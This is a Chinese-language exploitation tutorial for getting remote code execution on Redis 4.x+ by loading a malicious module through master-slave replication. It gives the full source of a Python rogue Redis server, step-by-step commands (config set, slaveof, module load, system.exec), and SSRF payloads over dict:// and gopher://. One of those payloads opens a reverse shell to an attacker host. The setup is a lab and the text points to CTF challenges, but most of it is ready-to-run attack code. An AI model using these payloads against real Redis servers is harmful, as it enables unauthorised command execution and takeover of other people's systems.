介绍 在 Redis 4.x
之后,Redis
新增了模块功能,通过外部拓展,可以实现在 Redis
中实现一个新的Redis
命令,通过写C语言编译并加载恶意的 .so
文件,达到代码执行的目的。类似于 MySQL
的 UDF
。
漏洞利用条件 目标靶机服务器的 redis
未设置密码或者已知目标 redis
的密码。
漏洞环境搭建 1 docker run -p 6379:6379 redis:5.0.14
漏洞利用 自动利用 1 2 3 4 5 6 7 8 9 10 11 # 1. 先通过下面的项目编译得到恶意的so文件 git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand cd RedisModules-ExecuteCommand/ make # 2. 再通过下面的项目打入上面生成好了的恶意so文件到目标redis服务器 git clone https://github.com/Ridter/redis-rce.git cd redis-rce/ cp ../RedisModules-ExecuteCommand/src/module.so ./ pip install -r requirements.txt # 如果是知道目标redis的密码就是需要添加-a参数 python redis-rce.py -r <redis的ip> -p <redis的端口> -L <本地攻击者的ip> -f module.so
同时,我们在执行了上面的 exp
之后,就可以直接连入 redis-cli
命令行来通过 system.exec
执行命令。
手动利用 首先还是要利用项目 https://github.com/n0b0dyCN/RedisModules-ExecuteCommand 编译得到恶意的 so
文件。
然后通过 https://github.com/Dliv3/redis-rogue-server 项目搭建恶意的 redis
服务器打入,注意要将上面的 so
文件复制到此项目的目录下。
1 2 # -v表示verbose,就是显示详细的日志信息 python3 redis_rogue_server.py -v -path module.so -lport 1234
或者用下面的 exp
来搭建恶意的 redis
服务器。
运行方式:
1 python RogueServer.py --lport 1234 --exp exp.so
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import socketfrom time import sleepfrom optparse import OptionParserdef RogueServer (lport ): resp = "" sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind(("0.0.0.0" ,lport)) sock.listen(10 ) conn,address = sock.accept() sleep(5 ) while True : data = conn.recv(1024 ) if "PING" in data: resp="+PONG" +CLRF conn.send(resp) elif "REPLCONF" in data: resp="+OK" +CLRF conn.send(resp) elif "PSYNC" in data or "SYNC" in data: resp = "+FULLRESYNC " + "Z" *40 + " 1" + CLRF resp += "$" + str (len (payload)) + CLRF resp = resp.encode() resp += payload + CLRF.encode() if type (resp) != bytes : resp =resp.encode() conn.send(resp) break if __name__=="__main__" : parser = OptionParser() parser.add_option("--lport" , dest="lp" , type ="int" ,help ="rogue server listen port, default 21000" , default=21000 ,metavar="LOCAL_PORT" ) parser.add_option("-f" ,"--exp" , dest="exp" , type ="string" ,help ="Redis Module to load, default exp.so" , default="exp.so" ,metavar="EXP_FILE" ) (options , args )= parser.parse_args() lport = options.lp exp_filename = options.exp CLRF="\r\n" payload=open (exp_filename,"rb" ).read() print "Start listing on port: %s" %lport print "Load the payload: %s" %exp_filename RogueServer(lport)
之后通过未授权访问连上目标靶机的 redis
,执行下面的命令就可以 getshell
了。
1 2 3 4 5 6 7 8 9 config set dir ./ config set dbfilename module.so slaveof 192.168.163.133 1234 module load ./module.so slaveof no one # 执行命令 system.exec 'whoami' # 反弹shell system.rev '反弹shell的地址'
刚开始返回的结果会参杂乱码,后面就好了。
SSRF利用 这里的步骤和前面的手动利用类似,就是需要先编译得到恶意的 so
文件,然后搭建恶意的 redis
服务器。不同的是,这里不是通过直接连接 redis
服务器执行命令来实现主从复制,而是通过漏洞服务来 SSRF
间接地操作 redis
。
下面直接利用 curl
来模拟漏洞服务的 SSRF
。
利用 dict
协议
1 2 3 4 5 6 7 8 curl dict://192.168.163.129:6379/info curl dict://192.168.163.129:6379/config:set:dir:./ curl dict://192.168.163.129:6379/config:set:dbfilename:module.so curl dict://192.168.163.129:6379/slaveof:192.168.163.133:1234 curl dict://192.168.163.129:6379/module:load:./module.so curl dict://192.168.163.129:6379/slaveof:no:one curl dict://192.168.163.129:6379/system:exec:whoami curl dict://192.168.163.129:6379/system.exec:whoami
利用 gopher
协议
1 2 3 4 5 # 1. 设置文件名,连接恶意redis服务器 curl gopher://192.168.163.129:6379/_config%20set%20dbfilename%20module.so%0d%0aslaveof%20192.168.163.133%201234%0d%0aquit # 2. 加载恶意so文件,反弹shell或者执行命令 curl gopher://192.168.163.129:6379/_module%20load%20./module.so%0d%0asystem.rev%20192.168.163.133%2010001%0d%0aquit curl gopher://192.168.163.129:6379/_module%20load%20./module.so%0d%0asystem.exec%20whoami%0d%0aquit
相关CTF题 2020 网鼎杯 玄武组 SSRF ME 2023年 春秋杯网络安全联赛冬季赛 ezezez_php
参考文章 https://www.cnblogs.com/xiaozi/p/13089906.html